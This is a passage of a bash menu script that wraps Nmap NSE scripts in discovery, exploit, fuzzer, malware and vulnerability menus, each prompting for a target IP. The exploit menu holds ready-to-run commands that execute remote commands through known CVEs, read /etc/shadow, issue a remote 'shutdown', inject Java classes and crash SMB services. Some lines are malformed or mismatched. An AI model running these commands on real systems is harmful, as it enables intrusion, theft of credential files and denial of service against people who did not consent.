1224 |           echo -ne $okegreen " What is your Targets" ; tput sgr0
1225 |           read ie
1226 |           $xterm -sV --script=broadcast-novell-locate $ie &
1227 |         elif test $min == '16'
1228 |           then
1229 |           echo
1230 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1231 |           read ie
1232 |           $xterm  --script broadcast-pc-anywhere -e $ie &
1233 |         elif test $min == '17'
1234 |           then
1235 |           echo
1236 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1237 |           read ie
1238 |           $xterm --script broadcast-pc-duo -e $ie &
1239 |         elif test $min == '18'
1240 |           then
1241 |           echo
1242 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1243 |           read ie
1244 |           $xterm nmap --script broadcast-pim-discovery -e $ie &
1245 |         elif test $min == '19'
1246 |           then
1247 |           echo
1248 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1249 |           read ie
1250 |           echo -ne $okegreen " Default value for TTL is 64 & the length of the payload is 0" ; tput sgr0
1251 |           read ttl
1252 |           echo -ne $okegreen " The payload is consisted of random bytes." ; tput sgr0
1253 |           read payload
1254 |           echo -ne $okegreen " Timespec specifying how long to wait for response (default 3s)" ; tput sgr0
1255 |           read ti
1256 |           echo -ne $okegreen " Number specifying how many ICMP probes should be sent (default 1)" ; tput sgr0
1257 |           read np
1258 |           $xterm -e $ie [--ttl $ttl] [--data-length $payload] --script broadcast-ping [--script-args [broadcast-ping.timeout=$ti],[num-probes=$np]]] &
1259 |         elif test $min == '20'
1260 |           then
1261 |           echo
1262 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1263 |           read ie
1264 |           $xterm --script broadcast-pppoe-discover -e $ie &
1265 |         elif test $min == '21'
1266 |           then
1267 |           echo
1268 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1269 |           read ie
1270 |           $xterm --script broadcast-rip-discover -e $ie &
1271 |         elif test $min == '22'
1272 |           then
1273 |           echo
1274 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1275 |           read ie
1276 |           $xterm --script broadcast-ripng-discover -e $ie &
1277 |         elif test $min == '23'
1278 |           then
1279 |           echo
1280 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1281 |           read ie
1282 |           $xterm -e $ie --script broadcast-sonicwall-discover &
1283 |         elif test $min == '24'
1284 |           then
1285 |           echo
1286 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1287 |           read ie
1288 |           $xterm --script broadcast-sybase-asa-discover -e $ie &
1289 |         elif test $min == '25'
1290 |           then
1291 |           echo
1292 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1293 |           read ie
1294 |           $xterm --script broadcast-tellstick-discover -e $ie &
1295 |         elif test $min == '26'
1296 |           then
1297 |           echo
1298 |           echo -ne $okegreen " What is your Targets" ; tput sgr0
1299 |           read ip
1300 |           $xterm -sV --script=broadcast-upnp-info $ip &
1301 |         elif test $min == '27'
1302 |           then
1303 |           echo
1304 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1305 |           read ie
1306 |           $xterm --script broadcast-versant-locate -e $ie &
1307 |         elif test $min == '28'
1308 |           then
1309 |           echo
1310 |           echo -ne $okegreen " The MAC address of the remote system to wake up" ; tput sgr0
1311 |           read mac
1312 |           $xterm --script broadcast-wake-on-lan --script-args broadcast-wake-on-lan.MAC="$mac" &
1313 |         elif test $min == '29'
1314 |           then
1315 |           echo
1316 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1317 |           read ie
1318 |           $xterm --script broadcast-wpad-discover -e $ie &
1319 |         elif test $min == '30'
1320 |           then
1321 |           echo
1322 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1323 |           read ie
1324 |           $xterm --script broadcast-wsdd-discover -e $ie &
1325 |         elif test $min == '31'
1326 |           then
1327 |           echo
1328 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1329 |           read ie
1330 |           $xterm --script broadcast-xdmcp-discover -e $ie &
1331 |         elif test $min == '32'
1332 |           then
1333 |           echo
1334 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1335 |           read ip
1336 |           $xterm -e interface --script eap-info [--script-args="eap-info.identity=0-user,eap-info.scan={13,50}"] $ip &
1337 |         elif test $min == '33'
1338 |           then
1339 |           echo
1340 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1341 |           read ie
1342 |           $xterm --script=ipv6-multicast-mld-list -e $ie &
1343 |         elif test $min == '34'
1344 |           then
1345 |           echo
1346 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1347 |           read ie
1348 |           $xterm --script knx-gateway-discover -e $ie &
1349 |         elif test $min == '35'
1350 |           then
1351 |           echo
1352 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1353 |           read ie
1354 |           echo -ne $okegreen " Hostname to resolve : " ; tput sgr0
1355 |           read hostname
1356 |           $xterm --script llmnr-resolve --script-args "llmnr-resolve.hostname=$hostname" -e $ie &
1357 |         elif test $min == '36'
1358 |           then
1359 |           echo
1360 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1361 |           read ie
1362 |           $xterm -e $ie --script lltd-discovery &
1363 |         elif test $min == '37'
1364 |           then
1365 |           echo
1366 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1367 |           read ie
1368 |           $xterm --script mrinfo -e $ie &
1369 |         elif test $min == '38'
1370 |           then
1371 |           echo
1372 |           echo -ne $okegreen " Source address from which to traceroute." ; tput sgr0
1373 |           read rt
1374 |           $xterm --script mtrace --script-args "mtrace.fromip=$rt" &
1375 |         elif test $min == '39'
1376 |           then
1377 |           echo
1378 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1379 |           read ie
1380 |           $xterm --script=targets-ipv6-multicast-echo.nse --script-args "newtargets,interface=$ie" -sL &
1381 |         elif test $min == '40'
1382 |           then
1383 |           echo
1384 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1385 |           read ie
1386 |           $xterm --script=targets-ipv6-multicast-invalid-dst.nse --script-args "newtargets,interface=$ie" -sP &
1387 |         elif test $min == '41'
1388 |           then
1389 |           echo
1390 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1391 |           read ie
1392 |           $xterm --script=targets-ipv6-multicast-mld.nse --script-args "newtargets,interface=$ie" &
1393 |         elif test $min == '42'
1394 |           then
1395 |           echo
1396 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1397 |           read ie
1398 |           $xterm --script targets-ipv6-multicast-slaac --script-args "newtargets,interface=$ie" -sP &
1399 |         elif test $min == '43'
1400 |           then
1401 |           echo
1402 |           echo -ne $okegreen " What is your Interfaces" ; tput sgr0
1403 |           read ie
1404 |           $xterm -sL --script=targets-sniffer --script-args=newtargets,targets-sniffer.timeout=5s,targets-sniffer.iface=$ie &
1405 |         elif test $min == '44'
1406 |           then
1407 |            nse
1408 |         else
1409 |             echo ""
1410 |             echo -e $okegreen " Incorrect Number"
1411 |           fi
1412 |           echo ""
1413 |           echo ""
1414 |           echo -n -e $red " Back to Last Menu? ( Yes / No ) :"
1415 |         read back
1416 |         if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
1417 |             then
1418 |             clear
1419 |             menu
1420 |         elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
1421 |             then
1422 |             brd
1423 |         fi
1424 | }
1425 | 
1426 | function exploit () {
1427 | clear
1428 |   echo
1429 |   echo
1430 |   echo -e $white"	[$okegreen"01"$white]$cyan afp-path-vuln "
1431 |   echo -e $white"	[$okegreen"02"$white]$cyan clamav-exec   "
1432 |   echo -e $white"	[$okegreen"03"$white]$cyan distcc-cve2004-2687  "
1433 |   echo -e $white"	[$okegreen"04"$white]$cyan ftp-proftpd-backdoor "
1434 |   echo -e $white"	[$okegreen"05"$white]$cyan ftp-vsftpd-backdoor "
1435 |   echo -e $white"	[$okegreen"06"$white]$cyan http-adobe-coldfusion-apsa1301 "
1436 |   echo -e $white"	[$okegreen"07"$white]$cyan http-avaya-ipoffice-users "
1437 |   echo -e $white"	[$okegreen"08"$white]$cyan http-awstatstotals-exec "
1438 |   echo -e $white"	[$okegreen"09"$white]$cyan http-axis2-dir-traversal "
1439 |   echo -e $white"	[$okegreen"10"$white]$cyan http-barracuda-dir-traversal "
1440 |   echo -e $white"	[$okegreen"11"$white]$cyan http-coldfusion-subzero "
1441 |   echo -e $white"	[$okegreen"12"$white]$cyan http-csrf "
1442 |   echo -e $white"	[$okegreen"13"$white]$cyan http-dlink-backdoor "
1443 |   echo -e $white"	[$okegreen"14"$white]$cyan http-dombased-xss "
1444 |   echo -e $white"	[$okegreen"15"$white]$cyan http-fileupload-exploiter "
1445 |   echo -e $white"	[$okegreen"16"$white]$cyan http-huawei-hg5xx-vuln "
1446 |   echo -e $white"	[$okegreen"17"$white]$cyan http-litespeed-sourcecode-download "
1447 |   echo -e $white"	[$okegreen"18"$white]$cyan http-majordomo2-dir-traversal "
1448 |   echo -e $white"	[$okegreen"19"$white]$cyan http-phpmyadmin-dir-traversal "
1449 |   echo -e $white"	[$okegreen"20"$white]$cyan http-shellshock "
1450 |   echo -e $white"	[$okegreen"21"$white]$cyan http-stored-xss "
1451 |   echo -e $white"	[$okegreen"22"$white]$cyan http-tplink-dir-traversal "
1452 |   echo -e $white"	[$okegreen"23"$white]$cyan http-vuln-cve2006-3392 "
1453 |   echo -e $white"	[$okegreen"24"$white]$cyan http-vuln-cve2009-3960 "
1454 |   echo -e $white"	[$okegreen"25"$white]$cyan http-vuln-cve2012-1823 "
1455 |   echo -e $white"	[$okegreen"26"$white]$cyan http-vuln-cve2013-0156 "
1456 |   echo -e $white"	[$okegreen"27"$white]$cyan http-vuln-cve2013-6786 "
1457 |   echo -e $white"	[$okegreen"28"$white]$cyan http-vuln-cve2013-7091 "
1458 |   echo -e $white"	[$okegreen"29"$white]$cyan http-vuln-cve2014-3704 "
1459 |   echo -e $white"	[$okegreen"30"$white]$cyan http-vuln-cve2014-8877 "
1460 |   echo -e $white"	[$okegreen"31"$white]$cyan http-vuln-wnr1000-creds "
1461 |   echo -e $white"	[$okegreen"32"$white]$cyan irc-unrealircd-backdoor "
1462 |   echo -e $white"	[$okegreen"33"$white]$cyan jdwp-exec "
1463 |   echo -e $white"	[$okegreen"34"$white]$cyan jdwp-inject "
1464 |   echo -e $white"	[$okegreen"35"$white]$cyan qconn-exec "
1465 |   echo -e $white"	[$okegreen"36"$white]$cyan smb-vuln-conficker "
1466 |   echo -e $white"	[$okegreen"37"$white]$cyan smb-vuln-cve2009-3103 "
1467 |   echo -e $white"	[$okegreen"38"$white]$cyan smb-vuln-ms06-025 "
1468 |   echo -e $white"	[$okegreen"39"$white]$cyan smb-vuln-ms07-029 "
1469 |   echo -e $white"	[$okegreen"40"$white]$cyan smb-vuln-ms08-067 "
1470 |   echo -e $white"	[$okegreen"41"$white]$cyan smb-vuln-regsvc-dos "
1471 |   echo -e $white"	[$okegreen"42"$white]$cyan smtp-vuln-cve2010-4344 "
1472 |   echo -e $white"	[$okegreen"43"$white]$cyan supermicro-ipmi-conf "
1473 |   echo -e $white"	[$okegreen"44"$white]$cyan back "
1474 |   echo -e " "
1475 |   echo -n -e $red'  \033[4mScreetsec@nse-exploit:\033[0m>> '; tput sgr0 #insert your choice
1476 |            read cin
1477 |         if test $cin == '1'
1478 |           then
1479 |           echo
1480 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1481 |           read ip
1482 |           $xterm -sV --script=afp-path-vuln $ip &
1483 |         elif test $cin == '2'
1484 |           then
1485 |           echo
1486 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1487 |           read ip
1488 |           $xterm --script clamav-exec --script-args cmd='shutdown' $ip &
1489 |         elif test $cin == '3'
1490 |           then
1491 |           echo
1492 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1493 |           read ip
1494 |           $xterm -p 3632 $ip --script distcc-exec --script-args="distcc-exec.cmd='id'" &
1495 |         elif test $cin == '4'
1496 |           then
1497 |           echo
1498 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1499 |           read ip
1500 |           $xterm --script ftp-proftpd-backdoor -p 21 $ip &
1501 |         elif test $cin == '5'
1502 |           then
1503 |           echo
1504 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1505 |           read ip
1506 |           $xterm --script ftp-vsftpd-backdoor -p 21 $ip &
1507 |         elif test $cin == '6'
1508 |           then
1509 |           echo
1510 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1511 |           read ip
1512 |           $xterm -p80 --script http-adobe-coldfusion-apsa1301 --script-args basepath=/cf/adminapi/ $ip &
1513 |         elif test $cin == '7'
1514 |           then
1515 |           echo
1516 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1517 |           read ip
1518 |           $xterm -sV --script http-avaya-ipoffice-users $ip &
1519 |         elif test $cin == '8'
1520 |           then
1521 |           echo
1522 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1523 |           read ip
1524 |           $xterm -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' $ip &
1525 |         elif test $cin == '9'
1526 |           then
1527 |           echo
1528 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1529 |           read ip
1530 |           $xterm -p80 --script http-axis2-dir-traversal $ip &
1531 |         elif test $cin == '10'
1532 |           then
1533 |           echo
1534 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1535 |           read ip
1536 |           echo -ne $okegreen " What is your Port Target or Host: " ; tput sgr0
1537 |           read port
1538 |           $xterm --script http-barracuda-dir-traversal --script-args http-max-cache-size=5000000 -p $port $ip &
1539 |         elif test $cin == '11'
1540 |           then
1541 |           echo
1542 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1543 |           read ip
1544 |           $xterm -p 80 --script http-coldfusion-subzero --script-args basepath=/cf/ $ip &
1545 |         elif test $cin == '12'
1546 |           then
1547 |           echo
1548 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1549 |           read ip
1550 |           $xterm -p 80 --script http-csrf.nse $ip &
1551 |         elif test $cin == '13'
1552 |           then
1553 |           echo
1554 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1555 |           read ip
1556 |           $xterm -sV --script http-dlink-backdoor $ip &
1557 |         elif test $cin == '14'
1558 |           then
1559 |           echo
1560 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1561 |           read ip
1562 |           $xterm -p 80 --script http-dombased-xss.nse $ip &
1563 |         elif test $cin == '15'
1564 |           then
1565 |           echo
1566 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1567 |           read ip
1568 |           $xterm -p 80 --script http-fileupload-exploiter.nse $ip &
1569 |         elif test $cin == '16'
1570 |           then
1571 |           echo
1572 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1573 |           read ip
1574 |           $xterm -p 80 --script http-huawei-hg5xx-vuln $ip &
1575 |         elif test $cin == '17'
1576 |           then
1577 |           echo
1578 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1579 |           read ip
1580 |           $xterm -p80 --script http-litespeed-sourcecode-download --script-args http-litespeed-sourcecode-download.uri=/phpinfo.php $ip &
1581 |         elif test $cin == '18'
1582 |           then
1583 |           echo
1584 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1585 |           read ip
1586 |           $xterm -p 80 --script http-majordomo2-dir-traversal $ip &
1587 |         elif test $cin == '19'
1588 |           then
1589 |           echo
1590 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1591 |           read ip
1592 |           $xterm -p 80 --script http-phpmyadmin-dir-traversal $ip &
1593 |         elif test $cin == '20'
1594 |           then
1595 |           echo
1596 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1597 |           read ip
1598 |           $xterm -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls $ip &
1599 |         elif test $cin == '21'
1600 |           then
1601 |           echo
1602 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1603 |           read ip
1604 |           $xterm -p 80 --script http-stored-xss.nse $ip &
1605 |         elif test $cin == '22'
1606 |           then
1607 |           echo
1608 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1609 |           read ip
1610 |           $xterm -p80 --script http-tplink-dir-traversal.nse --script-args rfile=/etc/topology.conf -d -n -Pn $ip &
1611 |         elif test $cin == '23'
1612 |           then
1613 |           echo
1614 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1615 |           read ip
1616 |           $xterm -p80 --script http-vuln-cve2006-3392 --script-args http-vuln-cve2006-3392.file=/etc/shadow $ip &
1617 |         elif test $cin == '24'
1618 |           then
1619 |           echo
1620 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1621 |           read ip
1622 |           $xterm --script=http-vuln-cve2009-3960 --script-args http-http-vuln-cve2009-3960.root="/root/" $ip &
1623 |         elif test $cin == '25'
1624 |           then
1625 |           echo
1626 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1627 |           read ip
1628 |           $xterm -sV --script http-vuln-cve2012-1823 $ip &
1629 |         elif test $cin == '26'
1630 |           then
1631 |           echo
1632 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1633 |           read ip
1634 |           $xterm -sV --script http-vuln-cve2013-0156 $ip &
1635 |         elif test $cin == '27'
1636 |           then
1637 |           echo
1638 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1639 |           read ip
1640 |           $xterm -sV http-rompager-xss $ip &
1641 |         elif test $cin == '28'
1642 |           then
1643 |           echo
1644 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1645 |           read ip
1646 |           $xterm -p 80 --script http-vuln-cve2013-7091 --script-args http-vuln-cve2013-7091=/ZimBra $ip &
1647 |         elif test $cin == '29'
1648 |           then
1649 |           echo
1650 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1651 |           read ip
1652 |           $xterm --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.cmd="uname -a",http-vuln-cve2014-3704.uri="/drupal" $ip &
1653 |         elif test $cin == '30'
1654 |           then
1655 |           echo
1656 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1657 |           read ip
1658 |           $xterm --script http-vuln-cve2014-8877 --script-args http-vuln-cve2014-8877.cmd="whoami",http-vuln-cve2014-8877.uri="/wordpress" $ip &
1659 |         elif test $cin == '31'
1660 |           then
1661 |           echo
1662 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1663 |           read ip
1664 |           $xterm -sV --script http-vuln-wnr1000-creds $ip -p 80 &
1665 |         elif test $cin == '32'
1666 |           then
1667 |           echo
1668 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1669 |           read ip
1670 |           $xterm -sV --script=irc-unrealircd-backdoor $ip &
1671 |         elif test $cin == '33'
1672 |           then
1673 |           echo
1674 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1675 |           read ip
1676 |           echo -ne $okegreen " What is your Port Target or Host: " ; tput sgr0
1677 |           read port
1678 |           $xterm -sT $ip -p $port --script=+jdwp-exec --script-args cmd="date" &
1679 |         elif test $cin == '34'
1680 |           then
1681 |           echo
1682 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1683 |           read ip
1684 |           echo -ne $okegreen " What is your Port Target or Host: " ; tput sgr0
1685 |           read port
1686 |           $xterm -sT $ip -p $port --script=+jdwp-inject --script-args filename=HelloWorld.class &
1687 |         elif test $cin == '35'
1688 |           then
1689 |           echo
1690 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1691 |           read ip
1692 |           echo -ne $okegreen " What is your Port Target or Host: " ; tput sgr0
1693 |           read port
1694 |           $xterm --script qconn-exec --script-args qconn-exec.timeout=60,qconn-exec.bytes=1024,qconn-exec.cmd="uname -a" -p $port $ip &
1695 |         elif test $cin == '36'
1696 |           then
1697 |           echo
1698 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1699 |           read ip
1700 |           $xterm --script smb-vuln-conficker.nse -p 445 $ip &
1701 |         elif test $cin == '37'
1702 |           then
1703 |           echo
1704 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1705 |           read ip
1706 |           $xterm --script smb-vuln-cve2009-3103.nse -p 445 $ip &
1707 |         elif test $cin == '38'
1708 |           then
1709 |           echo
1710 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1711 |           read ip
1712 |           $xterm --script smb-vuln-ms06-025.nse -p 445 $ip &
1713 |         elif test $cin == '39'
1714 |           then
1715 |           echo
1716 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1717 |           read ip
1718 |           $xterm --script smb-vuln-ms07-029.nse -p 445 $ip &
1719 |         elif test $cin == '40'
1720 |           then
1721 |           echo
1722 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1723 |           read ip
1724 |           $xterm --script smb-vuln-ms08-067.nse -p 445 $ip &
1725 |         elif test $cin == '41'
1726 |           then
1727 |           echo
1728 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1729 |           read ip
1730 |           $xterm --script smb-vuln-regsvc-dos.nse -p 445 $ip &
1731 |         elif test $cin == '42'
1732 |           then
1733 |           echo
1734 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1735 |           read ip
1736 |           $xterm --script=smtp-vuln-cve2010-4344 --script-args="smtp-vuln-cve2010-4344.exploit" -pT:25,465,587 $ip &
1737 |         elif test $cin == '43'
1738 |           then
1739 |           echo
1740 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1741 |           read ip
1742 |           $xterm -p49152 --script supermicro-ipmi-conf $ip &
1743 |         elif test $cin == '44'
1744 |           then
1745 |            nse
1746 |         else
1747 |             echo ""
1748 |             echo -e $okegreen " Incorrect Number"
1749 |           fi
1750 |           echo ""
1751 |           echo ""
1752 |           echo -n -e $red " Back to Last Menu? ( Yes / No ) :"
1753 |         read back
1754 |         if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
1755 |             then
1756 |             clear
1757 |             menu
1758 |         elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
1759 |             then
1760 |             exploit
1761 |         fi
1762 | }
1763 | 
1764 | 
1765 | function fuzzer () {
1766 |   clear
1767 |   echo
1768 |   echo
1769 |   echo -e $white"	[$okegreen"01"$white]$cyan File dns-fuzz "
1770 |   echo -e $white"	[$okegreen"02"$white]$cyan File http-form-fuzzer	"
1771 |   echo -e $white"	[$okegreen"03"$white]$cyan File http-phpself-xss	"
1772 |   echo -e $white"	[$okegreen"04"$white]$cyan Back "
1773 |   echo -e " "
1774 |   echo -n -e $red'  \033[4mScreetsec@nse-fuzzer:\033[0m>> '; tput sgr0 #insert your choice
1775 |            read win
1776 |         if test $win == '1'
1777 |           then
1778 |           echo
1779 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1780 |           read ip
1781 |           $xterm -sU --script dns-fuzz --script-args timelimit=2h $ip &
1782 |         elif test $win == '2'
1783 |           then
1784 |           echo
1785 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1786 |           read ip
1787 |           $xterm --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 $ip &
1788 |         elif test $win == '3'
1789 |           then
1790 |           echo
1791 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1792 |           read ip
1793 |           $xterm --script=http-phpself-xss -p80 $ip &
1794 |         elif test $win == '4'
1795 |           then
1796 |            nse
1797 |         else
1798 |             echo ""
1799 |             echo -e $okegreen " Incorrect Number"
1800 |           fi
1801 |           echo ""
1802 |           echo ""
1803 |           echo -n -e $red " Back to Last Menu? ( Yes / No ) :"
1804 |         read back
1805 |         if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
1806 |             then
1807 |             clear
1808 |             menu
1809 |         elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
1810 |             then
1811 |             fuzzer
1812 |         fi
1813 | }
1814 | 
1815 | 
1816 | function malware () {
1817 |   clear
1818 |   echo
1819 |   echo
1820 |   echo -e $white"	[$okegreen"01"$white]$cyan auth-spoof	"
1821 |   echo -e $white"	[$okegreen"02"$white]$cyan dns-zeustracker	"
1822 |   echo -e $white"	[$okegreen"03"$white]$cyan ftp-proftpd-backdoor	"
1823 |   echo -e $white"	[$okegreen"04"$white]$cyan ftp-vsftpd-backdoor	"
1824 |   echo -e $white"	[$okegreen"05"$white]$cyan http-google-malware	"
1825 |   echo -e $white"	[$okegreen"06"$white]$cyan http-malware-host	"
1826 |   echo -e $white"	[$okegreen"07"$white]$cyan http-virustotal	"
1827 |   echo -e $white"	[$okegreen"08"$white]$cyan irc-unrealircd-backdoor	"
1828 |   echo -e $white"	[$okegreen"09"$white]$cyan smtp-strangeport	"
1829 | 	echo -e $white"	[$okegreen"10"$white]$cyan back	"
1830 | 	echo
1831 |   echo -n -e $red'  \033[4mScreetsec@nse-malware:\033[0m>> '; tput sgr0 #insert your choice
1832 |            read malw
1833 |         if test $malw == '1'
1834 |           then
1835 |           echo
1836 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1837 |           read ip
1838 |           $xterm -sV --script=auth-spoof $ip &
1839 |         elif test $malw == '2'
1840 |           then
1841 |           echo
1842 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1843 |           read ip
1844 |           $xterm  -sn -PN --script=dns-zeustracker $ip &
1845 |         elif test $malw == '3'
1846 |           then
1847 |           echo
1848 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1849 |           read ip
1850 |           $xterm --script ftp-proftpd-backdoor -p 21 $ip &
1851 |         elif test $malw == '4'
1852 |           then
1853 |           echo
1854 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1855 |           read ip
1856 |           $xterm  --script ftp-vsftpd-backdoor -p 21 $ip &
1857 |         elif test $malw == '5'
1858 |           then
1859 |           echo
1860 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1861 |           read ip
1862 |           $xterm -p80 --script http-google-malware $ip &
1863 |         elif test $malw == '6'
1864 |           then
1865 |           echo
1866 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1867 |           read ip
1868 |           $xterm  -sV --script=http-malware-host $ip &
1869 |         elif test $malw == '7'
1870 |           then
1871 |           echo
1872 |           echo -ne $okegreen " an API key acquired from the virustotal web page: " ; tput sgr0
1873 |           read key
1874 |           echo -ne $okegreen " a SHA1, SHA256, MD5 checksum of a file to check: " ; tput sgr0
1875 |           read sum
1876 |           $xterm --script http-virustotal --script-args="http-virustotal.apikey="$key",http-virustotal.checksum="$sum"" &
1877 |         elif test $malw == '8'
1878 |           then
1879 |           echo
1880 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1881 |           read ip
1882 |           $xterm-sV --script=irc-unrealircd-backdoor $ip &
1883 |         elif test $malw == '9'
1884 |           then
1885 |           echo
1886 |           echo -ne $okegreen " What is your IP Target or Host: " ; tput sgr0
1887 |           read ip
1888 |           $xterm -sV --script=smtp-strangeport $ip &
1889 |         elif test $malw == '10'
1890 |         then
1891 |          nse
1892 |       else
1893 |           echo ""
1894 |           echo -e $okegreen " Incorrect Number"
1895 |         fi
1896 |         echo ""
1897 |         echo ""
1898 |         echo -n -e $red " Back to Last Menu? ( Yes / No ) :"
1899 |       read back
1900 |       if [ $back != 'n' ] && [ $back != 'N' ] && [ $back != 'no' ] && [ $back != 'No' ]
1901 |           then
1902 |           clear
1903 |           menu
1904 |       elif [ $back != 'y' ] && [ $back != 'Y' ] && [ $back != 'yes' ] && [ $back != 'Yes' ]
1905 |           then
1906 |           malware
1907 |       fi
1908 | }
1909 | 
1910 | 
1911 | #!/bin/bash
1912 | 
1913 | 
1914 | function vuln () {
1915 | 
1916 | 
1917 | clear
1918 | echo
1919 | echo -e $white"	[$okegreen"01"$white]$cyan afp-path-vuln  "
1920 | echo -e $white"	[$okegreen"02"$white]$cyan broadcast-avahi-dos "
1921 | echo -e $white"	[$okegreen"03"$white]$cyan clamav-exec "
1922 | echo -e $white"	[$okegreen"04"$white]$cyan distcc-cve2004-2687 "
1923 | echo -e $white"	[$okegreen"05"$white]$cyan dns-update "
1924 | echo -e $white"	[$okegreen"06"$white]$cyan firewall-bypass "
1925 | echo -e $white"	[$okegreen"07"$white]$cyan ftp-libopie "
1926 | echo -e $white"	[$okegreen"08"$white]$cyan ftp-proftpd-backdoor "
1927 | echo -e $white"	[$okegreen"09"$white]$cyan ftp-vsftpd-backdoor "
1928 | echo -e $white"	[$okegreen"10"$white]$cyan ftp-vuln-cve2010-4221 "
1929 | echo -e $white"	[$okegreen"11"$white]$cyan http-adobe-coldfusion-apsa1301 "
1930 | echo -e $white"	[$okegreen"12"$white]$cyan http-aspnet-debug "
1931 | echo -e $white"	[$okegreen"13"$white]$cyan http-avaya-ipoffice-users "
1932 | echo -e $white"	[$okegreen"14"$white]$cyan http-awstatstotals-exec "
1933 | echo -e $white"	[$okegreen"15"$white]$cyan http-axis2-dir-traversal "
1934 | echo -e $white"	[$okegreen"16"$white]$cyan http-cross-domain-policy "
